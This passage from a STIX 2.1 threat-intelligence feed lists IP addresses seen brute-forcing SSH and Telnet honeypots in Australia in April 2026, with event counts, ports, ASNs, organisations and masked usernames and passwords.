      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 290. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, a***n, ***, a*******r. Passwords observed (masked): 3***********4, 3**********4, !**********c, 1****6, 1********a.",
      "id": "indicator--09a2aa27-e64b-44d0-8aec-cb9ac63e7e6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.153.136.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T19:15:09.000Z",
      "valid_until": "2026-05-11T19:15:01.000Z"
    },
    {
      "created": "2026-04-09T19:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 433. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: QA. ASN(s): 8781. Organisation(s): Ooredoo Q.S.C.. Usernames observed (masked): r**t, 3**********4, u****u, p*****k, s***y. Passwords observed (masked): 3***********4, 3**********4, 1****6, **, ***.",
      "id": "indicator--6023c7e9-42b2-4402-ba67-c31a31d110f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.100.64.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T19:15:09.000Z",
      "valid_until": "2026-05-11T19:15:01.000Z"
    },
    {
      "created": "2026-04-09T19:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 361. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): r**t, 3**********4, u****u, p*****k, t**t. Passwords observed (masked): 1****6, 3***********4, 3**********4, **, ***.",
      "id": "indicator--959c7613-5117-4fc9-8955-a96bb20344d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.192.46.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T19:15:09.000Z",
      "valid_until": "2026-05-11T19:15:01.000Z"
    },
    {
      "created": "2026-04-09T19:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--d30e46c0-f596-4da3-bb78-7c1c39307e34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.183.178.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T19:15:09.000Z",
      "valid_until": "2026-05-11T19:15:01.000Z"
    },
    {
      "created": "2026-04-09T20:15:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--25174558-57b8-46e5-a815-7a0ff4a18aa4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T20:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.172.148.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T20:15:57.000Z",
      "valid_until": "2026-05-11T20:15:02.000Z"
    },
    {
      "created": "2026-04-09T20:15:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--7e212ff4-a51a-4698-8250-8f001ac06f80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T20:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.136.191.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T20:15:57.000Z",
      "valid_until": "2026-05-11T20:15:02.000Z"
    },
    {
      "created": "2026-04-09T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 202412. Organisation(s): Omegatech LTD.",
      "id": "indicator--42e3dea1-1112-4735-be88-296944d73953",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '158.94.211.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T22:15:03.000Z",
      "valid_until": "2026-05-11T22:15:02.000Z"
    },
    {
      "created": "2026-04-09T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--ffc8e8d4-2895-4340-98f7-8672a057d2d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.236.228.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T22:15:03.000Z",
      "valid_until": "2026-05-11T22:15:02.000Z"
    },
    {
      "created": "2026-04-09T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 6856. Organisation(s): AO IK Informsvyaz-Chernozemye.",
      "id": "indicator--e447fbfb-b371-4162-b9f2-326ac0b1878a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.98.81.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T22:15:03.000Z",
      "valid_until": "2026-05-11T22:15:02.000Z"
    },
    {
      "created": "2026-04-09T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--ae9d09f0-a979-4334-8564-d9a46cdd18f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.64.104.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T22:15:03.000Z",
      "valid_until": "2026-05-11T22:15:02.000Z"
    },
    {
      "created": "2026-04-09T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 16735. Organisation(s): ALGAR TELECOM SA. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 0******0, 1**4, d******x, p**s.",
      "id": "indicator--52abd5c3-53e6-4d60-8f46-afc3d960e175",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.16.236.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T22:15:03.000Z",
      "valid_until": "2026-05-11T22:15:02.000Z"
    },
    {
      "created": "2026-04-09T23:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 24444. Organisation(s): Shandong Mobile Communication Company Limited.",
      "id": "indicator--40f495ea-1334-4318-b4af-1ee60c7789d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.37.76.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T23:15:07.000Z",
      "valid_until": "2026-05-11T23:15:02.000Z"
    },
    {
      "created": "2026-04-09T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--0e8afb5e-fa9f-47f0-8c0d-0e0bb58f8975",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.55.149.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T23:15:07.000Z",
      "valid_until": "2026-05-11T23:15:02.000Z"
    },
    {
      "created": "2026-04-09T23:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4942937c-12ed-46df-b0ef-1716458403db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.249.151.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T23:15:07.000Z",
      "valid_until": "2026-05-11T23:15:02.000Z"
    },
    {
      "created": "2026-04-09T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 405. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): a***n, ***, ***, c****e, *. Passwords observed (masked): 1****6, ***, 1******8, 1***5, 1*****t.",
      "id": "indicator--a8d16be2-e0cc-414f-a02b-38fdd7262382",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-09T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.151.182.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T23:15:07.000Z",
      "valid_until": "2026-05-11T23:15:02.000Z"
    },
    {
      "created": "2026-04-10T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--c7939f80-9073-452c-9c98-95fee9c670c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.165.214.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:15:05.000Z",
      "valid_until": "2026-05-12T00:15:02.000Z"
    },
    {
      "created": "2026-04-10T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: LY. ASN(s): 37284. Organisation(s): Aljeel-net.",
      "id": "indicator--031c6401-eea1-4838-b174-c09f7fcf499e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.219.227.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:15:05.000Z",
      "valid_until": "2026-05-12T00:15:02.000Z"
    },
    {
      "created": "2026-04-10T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, d****y, 3**********4, f****e, l*******r. Passwords observed (masked): 1****6, 3***********4, 3**********4, F*****#, F*******!.",
      "id": "indicator--fe02a5bc-0c2d-49ba-b5e6-1a8255e8b3ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.216.120.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:15:05.000Z",
      "valid_until": "2026-05-12T00:15:02.000Z"
    },
    {
      "created": "2026-04-10T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, ***, 3**********4, f*****r, h****r. Passwords observed (masked): r**t, 1****9, 3***********4, 3**********4, ***.",
      "id": "indicator--840af092-3cc2-430e-8958-53154061ae8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.193.191.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:15:05.000Z",
      "valid_until": "2026-05-12T00:15:02.000Z"
    },
    {
      "created": "2026-04-10T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--47de9b01-0ffe-4d87-83e9-13496c534a6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.117.251.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:15:05.000Z",
      "valid_until": "2026-05-12T00:15:02.000Z"
    },
    {
      "created": "2026-04-10T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): t******r. Passwords observed (masked): t*****g.",
      "id": "indicator--bc9a4cb2-b51d-48d3-9aad-afbc95814a6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.111.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:15:05.000Z",
      "valid_until": "2026-05-12T00:15:02.000Z"
    },
    {
      "created": "2026-04-10T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 56971. Organisation(s): Cgi Global Limited.",
      "id": "indicator--2b44e348-5bcb-43ed-9f9a-634ff1dd37df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.84.88.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:15:05.000Z",
      "valid_until": "2026-05-12T00:15:02.000Z"
    },
    {
      "created": "2026-04-10T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--c847269a-6fec-4687-b37e-d625b0a2a540",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.25.1.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:15:05.000Z",
      "valid_until": "2026-05-12T00:15:02.000Z"
    },
    {
      "created": "2026-04-10T01:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--014d32c9-e43f-40ef-887d-7db4a550e477",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.131.199.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:15:04.000Z",
      "valid_until": "2026-05-12T01:15:02.000Z"
    },
    {
      "created": "2026-04-10T01:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 23724. Organisation(s): IDC, China Telecommunications Corporation. Usernames observed (masked): r**t, t**t, w**i. Passwords observed (masked): p****t, r*******#, w**i.",
      "id": "indicator--55a1636b-a5be-4d6f-b50d-83823f01c433",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.186.7.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:15:04.000Z",
      "valid_until": "2026-05-12T01:15:02.000Z"
    },
    {
      "created": "2026-04-10T01:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--3372865d-5a1b-4b9d-906d-608464d045a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '73.72.115.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:15:04.000Z",
      "valid_until": "2026-05-12T01:15:02.000Z"
    },
    {
      "created": "2026-04-10T01:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 25490. Organisation(s): Rostelecom.",
      "id": "indicator--27bbdb20-cc9f-4cbd-a4fc-243da43d2d2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.239.105.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:15:04.000Z",
      "valid_until": "2026-05-12T01:15:02.000Z"
    },
    {
      "created": "2026-04-10T01:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--a7af874e-2663-4729-af83-d036a0b99ea3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '98.84.153.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:15:04.000Z",
      "valid_until": "2026-05-12T01:15:02.000Z"
    },
    {
      "created": "2026-04-10T02:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--e6fb5e53-4278-4524-8c37-1373f0b0c839",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T02:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '105.225.105.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:15:29.000Z",
      "valid_until": "2026-05-12T02:15:08.000Z"
    },
    {
      "created": "2026-04-10T02:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, o**o, s***y, s****r. Passwords observed (masked): 3***********4, 3**********4, **, 1****3, 1******2.",
      "id": "indicator--156da012-e2b1-4d3a-b28f-ac23ab65ed61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T02:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.150.110.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:15:29.000Z",
      "valid_until": "2026-05-12T02:15:08.000Z"
    },
    {
      "created": "2026-04-10T02:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 228. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, 1**4, 1****6, a****n. Passwords observed (masked): 1**4, a***n, *, 1****6, 3******t.",
      "id": "indicator--173807ac-4870-4c98-80e7-29658c86acc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T02:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.110.12.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:15:29.000Z",
      "valid_until": "2026-05-12T02:15:08.000Z"
    },
    {
      "created": "2026-04-10T02:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 234. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, u**t, a****h, b****a. Passwords observed (masked): p******d, 0*************7, 0********1, 1****3, ***.",
      "id": "indicator--9e4ae91c-5c5b-4fb7-93fb-674a20b2e820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T02:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.110.152.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:15:29.000Z",
      "valid_until": "2026-05-12T02:15:08.000Z"
    },
    {
      "created": "2026-04-10T02:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 136897. Organisation(s): Enjoyvc Cloud Group Limited.. Usernames observed (masked): r**t, t**t, u****u, 3**********4, u**r. Passwords observed (masked): 1******8, 3***********4, 3**********4, !********x, 1*********y.",
      "id": "indicator--2135687f-bfdb-4ac7-9dbf-ffb2832a5d81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T02:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '149.13.56.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:15:29.000Z",
      "valid_until": "2026-05-12T02:15:08.000Z"
    },
    {
      "created": "2026-04-10T02:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--16af10f1-e9bb-48ce-8564-a2458f4d7c5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T02:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.143.31.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:15:29.000Z",
      "valid_until": "2026-05-12T02:15:08.000Z"
    },
    {
      "created": "2026-04-10T02:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 521. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, ***, m*****r, t**t. Passwords observed (masked): 1***5, 1****6, a***n, p******d, 1**4.",
      "id": "indicator--712cf395-a546-44d8-8575-670d5ad4ca36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T02:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.6.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
